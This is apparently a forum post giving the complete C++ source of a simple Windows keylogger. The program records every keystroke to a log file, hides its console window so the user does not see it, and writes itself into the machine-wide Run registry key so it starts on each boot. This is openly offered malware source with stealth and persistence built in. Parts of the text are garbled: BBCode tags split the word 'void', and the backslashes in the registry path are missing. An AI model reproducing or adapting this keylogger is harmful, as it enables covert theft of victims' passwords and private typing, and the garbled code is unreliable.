C++ basit keylogger

#include <cstdlib>
 #include <iostream>
 #include <windows.h>
 #include <Winuser.h>
 
 using namespace std;
 
int wrt(int key,char *fl);
 [B][COLOR=Red]v o i d[/COLOR][/B] st();
 int addreg();
 int main(int argc, char *argv[])
 {
 st();
 addreg();
 char i;
 while(1)
 {
 for(int i = 8;i<=190;i++)
 {
 if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
 }
 }
 return EXIT_SUCCESS;
 }
 int wrt(int key,char *fl)
 {
 if((key == 1) || (key ==2)){return 0;}
 FILE *outf;
 outf = fopen(fl,"a+");
 if(key == 8){fprintf(outf,"[backspace]");}
 else if(key == 13){fprintf(outf,"n");}
 else if(key == 32){fprintf(outf," ");}
 else if(key == VK_TAB){fprintf(outf,"[TAB]");}
 else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
 else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
 else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
 else if(key == VK_END){fprintf(outf,"[END]");}
 else if(key == VK_HOME){fprintf(outf,"[HOME]");}
 else if(key == VK_UP){fprintf(outf,"[UP]");}
 else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
 else if(key == VK_RIGHT){fprintf(outf,"[RIGHT]");}
 else if(key == VK_LEFT){fprintf(outf,"[LEFT]");}
 else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
 else fprintf(outf,"%s",&key);
 fclose(outf);
 return 0;
 }
 [B][COLOR=Red]v o i d [/COLOR][/B]st()
 {
 HWND st;
 AllocConsole();
 st = FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(st,0);
 }
 int addreg()
 {
 TCHAR szPath[MAX_PATH];
 GetModuleFileName(NULL,szPath,MAX_PATH);
 HKEY newValue;
 RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
 RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
 RegCloseKey(newValue);
 return 0;
 }